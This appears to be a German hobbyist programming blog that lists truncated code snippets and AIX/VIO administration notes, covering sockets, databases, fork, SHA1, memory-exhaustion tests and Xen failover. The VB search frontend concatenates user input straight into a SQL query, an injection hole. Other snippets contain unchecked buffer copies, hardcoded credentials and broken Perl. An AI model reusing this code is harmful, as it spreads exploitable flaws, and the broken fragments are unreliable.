string test;

test = “test”;

vector_funktion(vec,test);

cout<<“Main: “<<vec[34]<<endl;
}

Read More

Verzeichnis durchsuchen 2

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <iostream>

using namespace std;

int main ()
{
struct stat FileInfo;
struct dirent *CurrentFile;
DIR *Directory;
char Path[999];

Directory = opendir(“/home/USER/temp”);

while ( (CurrentFile = readdir(Directory)) != NULL)
{

{
strcpy(Path,”/home/USER/temp/”);
strcat(Path,CurrentFile->d_name);

cout<<Path;

if (stat(Path,&FileInfo) == -1)

{
perror(“stat()”);

closedir(Directory);
return EXIT_FAILURE;
}

if (S_ISREG(FileInfo.st_mode))
puts(” Regulaere Datei”);
else if (S_ISDIR(FileInfo.st_mode))
puts(” Directory”);
else
puts(” Spezielle Datei”);

}
} //end while
closedir(Directory);
cout<<Path;
return EXIT_SUCCESS;

} //end main

Read More

Char filter

#include <iostream>

//clear; g++ -g -Wall -o char_filter char_filter.cpp

using namespace std;

int main()
{
char Zeichenkette[] = {“abcdefghijklmnopqrstuvwxyz”};

int i = 0;

//Zeichenkette bis zum Ende (\0) durchlaufen.
while(Zeichenkette[i] != ‘\0’)
{
cout<<Zeichenkette[i];

i++;
}

return(0);
}

Read More

Char liste

#include <iostream>
#include <cstdlib>

using namespace std;

//Struktur definieren
struct name
{
char vorname[20];
char nachname[20];
};

int i = 0;
name person[20];

//Ausgabe zur Eingabe zum fuellen der Struktur Variablen
void eingabe ()
{
cout<<“Bitte Vornamen eingeben: “;
cin>>person[i].vorname;

cout<<“Bitte Nachnamen eingeben: “;
cin>>person[i].nachname;
cout<<endl;

i++;
}

//Ausgabe der einzelnen Struktur Variablen
void ausgabe (int j)
{
for (int k=0;k<j;k++)
{
cout<<k+1<<“. Person: “;
cout<<person[k].vorname<<” “;
cout<<person[k].nachname<<endl;
}
}

//Main Funktion
int main()
{
int j;
for (j=0; j<20; j++)
{
//Aufruf der Funktion “eingabe” zum fuellen der Strukturvariablen
eingabe();
}

//Aufruf der Funktion “ausgabe” zum Ausgeben der Strukturvariablen
ausga...

Read More

Fork

#include <iostream>

using namespace std;

int main ()
{

int pid;

pid = fork();

if(pid == 0)
{

cout<<“Animations Prozess”<<endl;
cout<<“###################################################################”<<endl;

int i = 0;

while(1)
{

sleep(1);

i = i + 1;

cout<<i<<endl;

if (getppid() == 1)
{
exit(0);
}
}

exit(0);
}
else
{
cout<<“Arbeits Prozess”<<endl;

sleep(6);

exit(0);
}

return(0);
}

Read More

Get exe Info

#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <string>
#include <sstream>
#include <tchar.h>

using namespace std;

//int _tmain (int argc, char *argv[])
//int main (int argc, _TCHAR *argv[])
//int main (int argc, basic_string<TCHAR> *argv[])
//int main (int argc, string *argv[])
//int main (int argc, LPCTSTR *argv[])
int fileversion(LPCTSTR lptstrFilename)
{
DWORD dwSize = GetFileVersionInfoSize(lptstrFilename,0);

//cout<<“Size in bytes: “<<dwSize<<endl;

LPTSTR lpData = NULL ;

lpData = (LPTSTR)malloc(dwSize);

DWORD ver_info = GetFileVersionInfo(lptstrFilename, 0, dwSize, lpData );//Wenn gleich 0 dann Fehler.

if (ver_info == 0)
{
cout<<“Versions detection nicht moeglich”<<endl;

exit(0);
}
//cout<<“File Info: “<<ver_info<<endl;

VS_FIXEDFIL...

Read More

IP Raw Socket ICMP

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>

#include <iostream>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <vector>
#include <errno.h>

using namespace std;

struct hdr
{
struct iphdr ip;
struct tcphdr tcp;
struct icmphdr icmp;
};

int main (int argc, int argv[])
{

int raw_socket;

raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); //Raw Socket wird initialiesiert

cout<<“Socket Status Code: “<<raw_socket<<endl;

int on = 1;

raw_socket = setsockopt(raw_socket,IPPROTO_IP,IP_HDRINCL,&on,sizeof(int)); //Dem System sagen das man auch den IP Header s...

Read More

Kellerautomat (Push-Down Automat)

//Header Includen
#include <iostream>
#include <vector>
#include <string>

using namespace std;

//Main Funktion
int main ()
{
//Endlos While Schleife
while (1)
{
//String Variable deklaieren
string eingabe;

//Ausgabe auf die Kommandozeile zur Eingabge eines Textes
cout<<“Bitte geben Sie einen Text ein: “;
//Die Kommandozeilen Eingabe in die String Variable schreiben
cin>>eingabe;
cout<<endl;

//Der Eingabe noch ein zusaetzliches Startzeichen hinzufügen, wegen Start des “string.find” Kommandos.
eingabe.insert(0,”S”);

//Int Variable deklaieren und initilisieren bzw. den Wert 0 zuweisen
int klammer_offen_gefunden = 0;
int klammer_geschlossen_gefunden = 0;
int laenge_der_eingabe = 0;

//Zeichensatzlaenge des Eingabe Strings herausfinden und einer Int Variablen zuwe...

Read More

MySQL Daten lesen

//Folegend zwei SQL qury commands;
//INSERT INTO filesearch_tabelle (datei,verzeichnis,datensatznummer,zeitstempel) VALUES (‘Datei1′,’Verzeichnis1′,’2’,CURRENT_TIMESTAMP);
//SELECT * FROM filesearch_tabelle;

#include <mysql/mysql.h>
#include <stdio.h>
#include <iostream>
#include <string>

using namespace std;

int main()
{
MYSQL *mysql_handle;
MYSQL_RES *result;
MYSQL_ROW row;
char *query;
int mysql_status_code;
int reihen_nummer;
int zellen_nummer;

mysql_handle = mysql_init(NULL);

cout<<“Mysql Handle: “<<mysql_handle<<endl;

mysql_real_connect(mysql_handle,”127.0.0.1″,”root”,”Passwort”,”filesearch_datenbank”,0,NULL,0);

query=”SELECT * FROM filesearch_tabelle”;
cout<<“SQL Query: “<<query<<endl;
//query = “INSERT INTO test_tabelle (text) VA...

Read More

Nslookup light

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
struct hostent *hostinfo; //netdb.h -> libc Host Names http://www.gnu.org/software/libc/manual/html_node/Host-Names.html

//cout<<argv[1]<<endl;//Uebergabe Parameter 1

//cout<<argc<<endl;//Anzahl der Parameter

if (argc == 1)
{
cout<<“Bitte Hostnamen eingeben”<<endl;
return(0);
}

hostinfo=gethostbyname(argv[1]); //Hostnamen herausfinden und uebergeben

//cout<<“Hostinfo: “<<hostinfo<<endl;

if (hostinfo == 0)
{
cout<<“Hostname konnte nicht gefunden werden”<<endl;
return(0);
}

cout<<“Hostname: “<<hostinfo->h_name<<endl; /...

Read More

Pattern Matching light

#include <iostream>
#include <cstdlib>
#include <string.h>

using namespace std;

int pattern_matching(string eingabe)
{
int string_laenge;
string_laenge = eingabe.size();

int gefunden;
gefunden = eingabe.find(“aeiou”);

if (gefunden == -1)
{
return(0);
}
else
{
return(1);
}

}

int main()
{
string eingabe;

cout<<“Suchtext eingeben: “;
cin>>eingabe;
cout<<endl;

int rueckgabewert;
rueckgabewert = pattern_matching(eingabe);

if (rueckgabewert == 0)
{
cout<<“Suchmuster nicht gefunden”<<endl;
}
if (rueckgabewert == 1)
{
cout<<“Suchmuster gefunden”<<endl;
}

return (0);
}

Read More

Pointer

#include <stdio.h>

void ausgabe(char *feldelemente[])
{

//Ausgabe der einzelnen Parameter
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[0], feldelemente[0], *feldelemente[0]);
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[1], feldelemente[1], *feldelemente[1]);
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[2], feldelemente[2], *feldelemente[2]);
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[3], feldelemente[3], *feldelemente[3]);
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[4], feldelemente[4], *feldelemente[4]);
printf(“Character: %c, Adresse: %li, IntWert %i \n”, *feldelemente[5], feldelemente[5], *feldelemente[5]);
printf(“Character: %c, Adresse: %li, ...

Read More

Schleifen

#include <stdio.h>

int main()
{
//Variable “feld” der größe 11 und Variable counter definieren
int feld[11], counter;

//For Schleife initialisieren für 10 Durchläufe
for (counter=0; counter<10; counter++)
{
//Tastatureingabe in die “feld” Variable schreiben.
scanf(“%d”,&feld[counter]);
}

//Variable den Wert Null zuweisen
counter=0;
//Variablen, summe, counter_2, mini, maxi definieren und initialisieren
int summe=0, counter_2=0, mini=feld[0], maxi=feld[0];

//While Schleife für 10 Durchläufe definieren
while (counter++ < 10)
{
//If Anweisung definieren
if(mini < feld[counter_2])
mini=mini;
else
mini=feld[counter_2];

//If Anweisung definieren
if(maxi > feld[counter_2])
maxi=maxi;
else
maxi=feld[counter_2];

//Variable “summe” einen Wert zuweisen
summe = sum...

Read More

SHA1 RFC 3174

//Notwendige Header zum Berechnen des SHA1 Wertes eines Strings (Textes)
#include <stdint.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include “sha1.h” //sha1 Header nach RFC 3174
//Notwendige Header zum Berechnen des SHA1 Wertes einer Datei
#include <fstream>
#include <vector>

//g++ Compile Kommando
//clear;g++ -g -c -O2 -Wall -o sha1.o sha1.c ;g++ -g -c -O2 -Wall -o test.o test.cpp; g++ -Wall -g -o test test.o sha1.o
//”./test”
//Nach RFC 3174 http://www.ietf.org/rfc/rfc3174.txt

using namespace std;

int main()
{
SHA1Context sha; //SHA1 wird initialisiert

char text[] = {“Test”}; //Klartext String der berechnet werden soll

cout<<“SHA1 Klartext: “<<text<<endl;

int status = 0;

cout<<“Textlaenge: “<<strlen(text)<<endl;

status = SHA1Reset(&sha);

c...

Read More

SMTP

#include <iostream>

#include <errno.h>
#include <stdlib.h>
#include <string.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>    /* sockaddr_in structure */
#include <netdb.h>          /* /etc/hosts table entries */

using namespace std;

int main()
{
char *from = “root”;
char *to = “root”;
char *betreff =”Test”;
char *daten =”Test”;

struct sockaddr_in smtp_conn;

int socket_status;
struct hostent *hp, *gethostbyaddr();
char puffer[4096];

if (( socket_status = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
{
cout<<“Socket Fehler;”<<endl;
return -1;
}

smtp_conn.sin_port = htons(25); /* Server port # */
smtp_conn.sin_family = AF_INET;    /* Internet domain */

hp = gethostbyname (“rts”);
bcopy ( hp -> h_addr_list[0], &smtp_conn...

Read More

Oracle DB connection

#include <iostream>
#include <occi.h>

using namespace oracle::occi;
using namespace std;

int main()
{
//create environment and connection
Environment* env = Environment::createEnvironment();
Connection* conn = env->createConnection( “scott”, “tiger” );
cout << “Environment and Connection created” << endl;

//execute a SQL statement
Statement* stmt = conn->createStatement();
stmt->setSQL(“INSERT into FRUITS (fruit, amt) VALUES (‘apple’, 10)”);
stmt->executeUpdate();
conn->terminateStatement(stmt);

//terminate environment and connection
env->terminateConnection(conn);
Environment::terminateEnvironment(env);
cout << “Environment and Connection terminated” << endl;

}

Read More

UFT Unicode converter

#include <iostream>
#include <string>
#include <stdio.h>
//#include <stdlib.h>
//#include <ctype.h>
#include <assert.h>
#include <vector>
//#include <stdarg.h>
//#include <locale.h>
//#include <wchar.h>
#include <sstream>
//ICU UTF unicode Framwork Header
//#include “unicode/ustring.h”
//#include “unicode/unistr.h”
//#include “unicode/ucnv_err.h”
//#include “unicode/uenum.h”
#include “unicode/ucnv.h”
//#include “unicode/utypes.h”
//#include “unicode/uchar.h”
//#include “unicode/uloc.h”
//#include “unicode/utf.h”
//#include “unicode/uobject.h”
//#include “unicode/ustream.h”
//#include “unicode/chariter.h”
//#include “unicode/schriter.h”
//#include “unicode/uchriter.h”
//#include “unicode/uiter.h”
//#include “unicode/normlzr.h”
//#include “unicode/unorm.h”
//#i...

Read More

Vector iterator (Felder Einschub)

//Iteration(Inhalt einfügen###############################################################################################################################
datei_inhalt_vektor.erase (datei_inhalt_vektor.begin() + i);
vector<string>::iterator it;
it = datei_inhalt_vektor.begin() + i;
it = datei_inhalt_vektor.insert ( it , veraenderter_datei_vector_inhalt );
cout<<datei_inhalt_vektor[i]<<endl;

Read More

WSA winsock 2 UDP Client

//winsock2_client

#include <iostream>
#include <stdio.h>
#include <winsock2.h>

using namespace std;

int main ()
{

//Sender

SOCKADDR_IN local;

char *buffer = “Hallo Welt”;
int buffer_size = strlen(buffer);
cout<<“Sende Puffer Laenge: “<<buffer_size<<endl;

WORD wVersionRequested;
wVersionRequested = MAKEWORD( 2, 0 );

int nRet;
WSADATA stWSAData;
nRet = WSAStartup(wVersionRequested,&stWSAData);
cout<<“WSAStartup Initialisierungs Code: “<<nRet<<endl;

SOCKET hSock;
hSock = socket(AF_INET,SOCK_DGRAM,0);
cout<<“Socket initialisierungs Code:”<<hSock<<endl;

SOCKADDR_IN receiver;
receiver.sin_family = PF_INET;
receiver.sin_port = htons((short)4712);
receiver.sin_addr.s_addr = inet_addr(“127.0.0.1”);

nRet = sendto(hSock,buffer,buffer_size,0,(SOCKADDR*)&receiver,sizeof(r...

Read More

Zufallsgenerator

#include <stdio.h>
#include <stdlib.h>
int main()
{
//Variablen definieren
int zufall[201];
int counter;

srand(time(0));

//For Schleife mit 200 Durchläufen definieren
for(counter=0;counter<200;counter++)
{
//Zufallszahl der Variablen zuweisen
zufall[counter]=rand();
}

//Variablen den Wert Null zuweisen
counter=0;

//While Schleife mit 200 Durchläufen definieren
while(counter++ < 200)
{
//Ausgabe der Zufallszahl
printf(“Zufallszahl Nr: %d %d \n”,counter,zufall[counter]);
}
return(0);
}

Read More

FileSearchEngine Windows Backend

###############File Search ver. 3.0.2.5a Build 5 for Windows XP#############################################################################################################
###############Description: This script collects all file- and diretory- names on your harddisk and put it in a SQL Database################################
###############created, designed, developed, invented, programmed, managed, supported by Bit-Devil#############################################################
###############For further information mail to bit-devil@bit-devil.com#####################################################################################
################################################Master Routine#############################################################...

Read More

FileSearchEngine Frontend ASPX

<%@ Page Language=”VB” AutoEventWireup=”false” CodeFile=”Default.aspx.vb” Inherits=”_Default” Culture=”auto” meta:resourcekey=”PageResource1″ UICulture=”auto” %>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” >
<head runat=”server”>
<title>FileSearchEngine</title>
</head>
<body bgcolor=”#F0F4F8″>
<form id=”form1″ runat=”server”>
<div>
<br />
<br />
&nbsp;
<br />
<br />
<br />
<br />
<br />
<div style=”z-index: 104; left: 14px; width: 425px; position: absolute; top: 200px;
height: 231px; background-color:#C8E3FF”>
<p>
<br />
&nbsp;
<asp:Label ID=”lbl_statistik” runat=”server” Height=”70px” Text=”Statistik” Width=”410px” BackColor=”#C8E3FF” Font...

Read More

FileSearchEngine Frontend Visual Basic

Imports System.Data.SqlClient
Imports System.Net
Imports System.Data

Partial Class _Default
Inherits System.Web.UI.Page

Protected Sub butt_suchen_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles butt_suchen.Click

Dim SQL_Query_Grid As String
Dim Sucheingabe_Grid As String

If txt_suche.Text = “” Then
lbl_status.Text = “Bitte geben Sie eine genauere Suche ein”
Exit Sub
End If

Sucheingabe_Grid = “%” + txt_suche.Text + “%”

Sucheingabe_Grid = Sucheingabe_Grid.Replace(” “, “%”)

Sucheingabe_Grid = Sucheingabe_Grid.Replace(“*”, “%”)

SQL_Query_Grid = “SELECT * FROM FileSearch WHERE Datei LIKE ‘” + Sucheingabe_Grid + “‘”

Static start_zeit As DateTime
Static stop_zeit As DateTime
Dim gesammt_zeit As TimeSpan

start_zeit = Now

SqlDataSource1...

Read More

FileSearchEngine Linux Backend

/*
//Paramater:**********************************************************************
./fileserach -create = Erstellt die Datenbank und die Tabellen
./fileserach -delete = Loescht alle Datenabnken
./fileserach -start = startet den collect vorgang
//TO DO:********************************************************************************
Demo Version mit nur max 250 Eintraegen bauen
Variablen deklaierung optimieren sprich nur einmal initialisieren lassen als kopf
eventuell beim sql schreiben in die hauptdatenbank einen pop auf den verzeichnis und datei vektor machen um ram zu sparen
Index auf Datenbank (bei mehr als 1. mio Eintraege) testen
php und HTML inkls http.conf und .htaccess configuration schreiben und in definiertes verzeichnis ausgeben =>
=>aber in neue...

Read More

Pattern Match

$string = “Test Hallo!
$pattern = “Hallo !

if ($string =~ m/$pattern/)
{
asqdas
}
else
{
}

Read More

String Filter

$cname = ”    <value name=\”Instance0\” type=\”text\”>ADM</value>”;
$name = substr($cname, 40);
print “$name\n” ;

Read More

Datei Zeilenweise einlesen

# Datei Zeilenweise einlesen
$pattern = “Instance0” ;
my $daten;
open (DATEI, “/usr/sap/ITS/6.20/config/ItsRegistryALL.xml”) or die $!;
while(<DATEI>)
{
#Variable leeren bevor neuer einlesedurchlauf
$daten = ” “;
$daten = $daten.$_;
#_____________Baustelle______________________
chomp ($daten);
#via pattern match und i++ Intstance0;1;2 usw. finden und jeweilige SID rausfiltern

if ($daten =~ m/$pattern/)#soll max 99 mal durchlaufen
{
#Filter einbauen wenn Instance Nummer nicht existiert
$i = $i + 1;
$pattern = “Instance$i”;

print “Zeile gefunden\n”;
#Nach “Zeile gefunden” die SIDs raussaugen
##Die ersten 40 Zeichen von links und wegschneiden und nur noch 3 Zeichen anzeigen lassen
#wenn i größer ist als 10, den substr um 1 erhöhen
$string_SID = substr($daten,...

Read More

Fork

#################################################################
#Geht nur unter Unix/Linux
use strict;
$| = 1;
my $Eltern_pid = $$;

my $Kind_pid = fork();

if ($Kind_pid)
{
my $c;

for ($c=0;$c<10;$c++)
{
#Punktanimation ausführen
sleep(1);
print “$c\n”;
}

}
else
{
Subroutine_ausführen(0);
exit(0);
}
#################################################################

Read More

WMI Zugriff

use Win32::OLE(‘in’);
use constant wbemFlagReturnImmediately => 0x10;
use constant wbemFlagForwardOnly => 0x20;
$computer = “.”;

$pfad_check = reverse ($pfad);
$pfad_check  = substr($pfad_check, rindex($pfad_check, “:”));
$pfad_check = reverse ($pfad_check);
#print “$pfad_check \n”;
#print “$pfad \n”;

(“winmgmts:\\\\$computer\\root\\CIMV2”) or die “WMI connection failed.\n”;
$colItems = $objWMIService->ExecQuery(“SELECT * FROM Win32_LogicalDisk WHERE Caption LIKE ‘$pfad_check'”,”WQL”,wbemFlagReturnImmediately | wbemFlagForwardOnly);

Read More

SAP ITS Controller

############################################################################
##################ITS Controller v. 3.6.7.5#################################
#created, developed, designed and programmed by Bit-Devil###########
#For further information mail me: root@bit-devil.ddns.net#################
############################################################################
############################################################################

$parameter = @ARGV;#Parameter in Variable schreiben

if ($parameter eq 0)#Wenn kein Parameter angegeben wurde, wird das Programm beendet
{
print “Kein Parameter eingegeben, bitte nochmal mit Parameter starten\n”;
print “Für weitere Informationen, benutzen sie den Parameter -help.\n”;
#Die Routine beenden
die “\n”;
}

Read More

SAP ITS delte

#Main Menue################################################################################

#Mode choosing##

#system(“cls”);

system(“clear”);

print “Delete ITS Instances\n\n”;

print “Choose [1] to delete all instances.\n”;

print “Choose [2] to delete single instance.\n\n”;

chomp ($eingabe = <STDIN>);

if($eingabe eq 1)
{
delete_all_instances();
}

if($eingabe eq 2)
{
delete_singel_instance();
}

###########################################################################################

#Delete all Instances##

sub delete_all_instances
{
#system(“cls”);

system(“clear”);

print “Delete all ITS Instances\n\n”;

print “Press [1] to start\n”;

print “Press [2] to abort\n\n”;

chomp ($eingabe = <STDIN>);

#Eingabe 1 alle Instancen löschen starten############################...

Read More

SAP ITS pre/post processing

####################Pre/Post-Processing tool for ITS instances installations######################################################
#pre_post_tool ver. 2.6.3.9b######################################################################################################
#created, developed, designed and programmed by root#################################################################
#For further information mail me: root@bir-devil.ddns.net#######################################################################
##################################################################################################################################
#################################################################################################################################...

Read More

MPI pi Berechnung für Windows HPC

#include “stdafx.h”

#include <string>

#include “mpi.h”

int main(int argc, char* argv[])

{

int numOfIntervals, rank, size;

double mypi, pi, width, sum, midPoint;

MPI_Init(&argc, &argv);

MPI_Comm_size(MPI_COMM_WORLD,&size);

MPI_Comm_rank(MPI_COMM_WORLD,&rank);

if (rank == 0) {

// Validate that arguments were received

if (argc != 2)

return 0;

numOfIntervals = atoi(argv[1]);

}

// Broadcast the number of intervals to the other nodes

MPI_Bcast(&numOfIntervals, 1, MPI_INT, 0, MPI_COMM_WORLD);

if (numOfIntervals == 0)

return 0;

// Calculate the size of the interval

width = 1.0 / (double) numOfIntervals;

sum = 0.0;

for (int i = rank + 1; i <= numOfIntervals; i += size) {

midPoint = width * ((double)i – 0.5);

sum += (4.0 / (1.0 + midPoint*midPoint));

}

mypi = width * s...

Read More

Speicherzuweisung

//g++ -g -Wall allocate_memory_and_touch_it.cpp -o allocate_memory_and_touch_it;

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

using namespace std;

int main (void)
{
int n = 0;
char *p;

while (1)
{
if ((p = malloc(1<<20)) == NULL)
{
printf(“malloc failure after %d MiB\n”, n);
return 0;
}
memset (p, 0, (1<<20));
printf (“got %d MiB\n”, ++n);
}
}

Read More

Speicherzuweisung 2

//g++ -g -Wall allocate_memory_only.cpp -o allocate_memory_only;

#include <stdio.h>
#include <stdlib.h>

using namespace std;

int main (void)
{
int n = 0;

while (1)
{
if (malloc(1<<20) == NULL) {
printf(“malloc failure after %d MiB\n”, n);
return 0;
}
printf (“got %d MiB\n”, ++n);
}
}

Read More

OOM Exception

//g++ -g -Wall oom_exception.cpp -o  oom_exception;

#include <stdio.h>
#include <stdlib.h>

#define MEGABYTE 1024*1024

using namespace std;

int main(int argc, char *argv[])
{
void *myblock = NULL;
int count = 0;

while (1)
{
myblock = (void *) malloc(MEGABYTE);
if (!myblock) break;
printf(“Currently allocating %d MB\n”, ++count);
}

exit(0);
}

Read More

AIX Profil erstellen

AIX Profil erstellen

 

 

 

 

 

 

 

no adapter should be selected

 

 

Darauf Achten welche Nummer frei ist. Dazu auf die VIOs gehen und checken.

 

 

 

 

 

Read More

Map VSCSI to VIO

Map V SCSI Device to VIO A und B (Auf Abapter Nummer achten)

 

 

 

  • Save current configuration as described at ??????

 

Prüfen ob Mapping korrekt war.

Login zum VIOs (A und B)

NICHT “r oe” sondern als “padmin” nur

“cfgdev”

“lsmap –all”

 

Nun steht unter der neu erstellten Partitions ID (0x00000004)

“VTD NO VIRTUAL TARGET DEVICE FOUND”

nun muss dieser LPAR eine Platte zugewiesen werden.

 

 

 

 

Read More

Xen Failover Pacemaker

//Compile Native: clear; g++ -g -Wall xen_failover.cpp -o xen_failover; ./xen_failover Domain-0 /root/xen_storage/config_file.xen
/*
Pacemaker create Resource:
crm configure primitive xen_ha_apache-test ocf:heartbeat:anything \
params binfile=”/root/xen_storage/konfigs/heartbeat/xen_failover apache-test” cmdline_options=”/root/xen_storage/test_apache/test_apapche_hardening.xen” \
op start timeout=”20s” \
op stop timeout=”30s” \
op monitor interval=”20s” timeout=”30s” start-delay=”0s” depth=”0s”  on-fail=”restart”
*/

/*
To Do:
Checken ob Pacemaker und corosync noch laufen
Checken ob VM schon läuft.
Falls striker wegfällt VMs pausieren oder einfrieren.
Checken ob die OCFS2 mount noch vorhanden sind.
Resourcen Check ob start der VM möglich bzw...

Read More

Xen Failover Check Pacemaker

//Compile Native: clear; rm -frv  xen_failover_check; g++ -g -Wall xen_failover_check.cpp -o xen_failover_check; ./xen_failover_check Dummy_command Domain-0

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <iostream>
#include <vector>
#include <sstream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fstream>
#include <time.h>
#include <unistd.h>

using namespace std;

int main(int argc, char **argv)
{

while(1)
{
sleep(1);
string vm_name;
vm_name=argv[2];

//cout<<“vm_name: “<<vm_name<<endl;

//ps -ef | awk ‘$9==”Domain-0″‘ | awk ‘{print $9}’
string ps_pruefkommando;

ps_...

Read More

Pacemaker OCF XEN migration add-on

#!/bin/sh
#
#       OCF Resource Agent compliant resource script.
#
# Copyright (c) 2009 IN-telegence GmbH & Co. KG, Dominik Klein
#                    All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it would be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
# Further, this software is distributed without any warranty that it is
# free of the rightful claim of any third person regarding infringement
# or the like...

Read More

AIX Commands

HMC Linux Kommandos###########################################################
“vtmenu” = die einzelnem Server anwählen
“cat /etc/release” = Zeigt Versions Info an
“lshmc -V” = Zeigt die HMC Version an
“monhmc” = Monitor HMC memory, processor, and disk usage. The -s and -r flags are mutually exclusive.
“lspartition -dlpar”  Lists partitions with RMC connection as known by LparCmdRM.
~. = HMC Console verlassen

chsyscfg -r prof -m wdf-p720A -i “name=default,lpar_name=wdf-vio01a,max_virtual_slots=256” = Maximale Anzhal der Virtual Slots setzen. Benötigt einen kompletten “Shutdown” des VIOs. Auszuführen ist das Kommando auf der HMC
chsyscfg -r prof -m wdf-p720A -i “name=default,lpar_name=wdf-vio01b,max_virtual_slots=256”

AIX Kommandos#########################...

Read More

Create virtual scsi storage

 

 

 

 

  • Press Create virtual disk

 

 

 

 

 

 

 

Nun wieder auf beide VIOs (A und B) einloggen und das mapping überprüfen.

Jetzt sieht man das das Mapping einem Device zugewiesen ist

 

SVSA Physloc Client Partition ID

————— ——————————————– ——————

vhost2 U8202.E4D.0670A5T-V2-C9 0x00000004

 

VTD vtscsi0

Status Available

LUN 0x8100000000000000

Backing device wdf_aix06_root.865eb7813e728a1db1a672a3b9cad031

Physloc

Mirrored N/A

 

 

 

 

 

 

 

 

Read More

AIX Installation mksysb

  1. Create NIM Resource machine for aix installation

 

IP vorher reservieren.

 

Login to nim server

 

Verify /etc/hosts entry for aix client

cat /etc/hosts

10.0.1.229 wdf-hmc

10.0.1.235 wdf-aix01

10.0.1.234 wdf-aix02

10.0.1.236 wdf-aix03

10.0.1.237 wdf-aix04

10.0.1.230 wdf-vio01a

10.0.1.231 wdf-vio01b

10.0.1.232 wdf-vio02a

10.0.1.233 wdf-vio02b

 

smitty nim

select Perform NIM Administration Tasks

select Manage Machines

select define a machine

Insert machine name

 

 

  1. mksysb installation

    smitty nim

    Perform NIM Software Installation and Maintenance Tasks

            Install and Update Software

                Install the Base Operating System on Standalone Clients...

Read More

AIX von DVD erstellen (Profil anlegen)

AIX Profil erstellen

 

 

 

 

 

 

 

no adapter should be selected

 

 

Darauf Achten welche Nummer frei ist. Dazu auf die VIOs gehen und checken.

Für DVD/ISO betrieb zwei SCSI Devices hinzufügen. Einmal für root VG (kommt aus dem Shared Storgare Pool) und für das DVD/ISO (wird aus der VMlibrary zugweisen)

 

Beschreiben wie man die nummer lesen kann

Bilder für SCSI Menu

 

 

 

 

 

 

 

 

Read More

Map VSCSI to VIO

Map V SCSI Device to VIO A und B (Auf Adapter Nummer achten)

Da diesmal ein DVD Laufwerk hinzukommen soll müssen ZWEI Adapter an den beiden VIOs konfiguriert werden. ACHTUNG unbedingt auf die SLOT NUMERIERUNG ACHTEN !!!!!!!

 

 

 

Konfiguration anspeichern !!!!!!

 

 

 

  • Save current configuration as described at ??????

 

Prüfen ob Mapping korrekt war.

Login zum VIOs (A und B)

NICHT “r oe” sondern nur als “padmin”

“cfgdev”

“lsmap –all”

 

Nun steht unter der neu erstellten Partitions ID (0x00000007)

Zwei virtuelle SCSI Geräte:

 

 

SVSA Physloc Client Partition ID

————— ——————————————– ——————

vhost4 U8202.E4D...

Read More

Create virtual scsci storage from cluster

 

 

 

 

  • Press Create virtual disk

 

 

 

 

Auf SLOT Numeriewrung achten !!!!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Darauf Achten das der richtige Slot der rootVG zugewiesen ist.

 

 

 

 

 

 

 

Nun wieder auf beide VIOs (A und B) einloggen und das mapping überprüfen.

Jetzt sieht man das das Mapping einem Device zugewiesen ist

 

SVSA Physloc Client Partition ID

————— ——————————————– ——————

vhost2 U8202.E4D.0670A5T-V2-C9 0x00000004

 

VTD vtscsi0

Status Available

LUN 0x8100000000000000

Backing device wdf_aix06_root...

Read More

DVD Image zum VIO Server hinzufügen

DVD Image zum VIO Server hinzufügen.

P720A/B anwählen

Dann auf “configuration -> Virtual resources -> Virtual Storage Mangement” klicken

(vorher iso via scp nach /var/vio/VMLibrary als root kopieren auf einen der VIOs kopieren. Mit Umweg übers /home/padmin Verz.)

Auch hier auf den richtige Slot ACHTEN !!!

GGf. “unloadopt -release -vtd vtopt5” fals das ISO bereits in Benutzung ist auf dem VIO

Zur kontrolle auf wdf-vio01a anmelden und als padmin “lsmap –all” ausführen:

 

SVSA Physloc Client Partition ID

————— ——————————————– ——————

vhost4 U8202.E4D.0670A6T-V2-C16 0x00000007

 

VTD vtscsi2

Status Available

LUN 0...

Read More

AIX 7.1 Installation in LPAR

Auf der HMC in der Console anmelden.

“vtmenu” und AIX auswählen.

AIX LPAR Profil im SMS Modus starten und von DVD booten

 

 

 

Erkennbar am Kürzel “C17” für den Solt 17 der zuvor für den ISO File vergeben wurde.

 

 

1 und Return

 

 

 

Dauer der Installation ca. 30 – 45 min.

 

TAB

F10

 

 

Oder gleich auf “Tasks Completed – Exit to Login” und den Rest später in Ruhe machen

Return dann F10

Root Passwort setzten

Etherchannel erzeugen

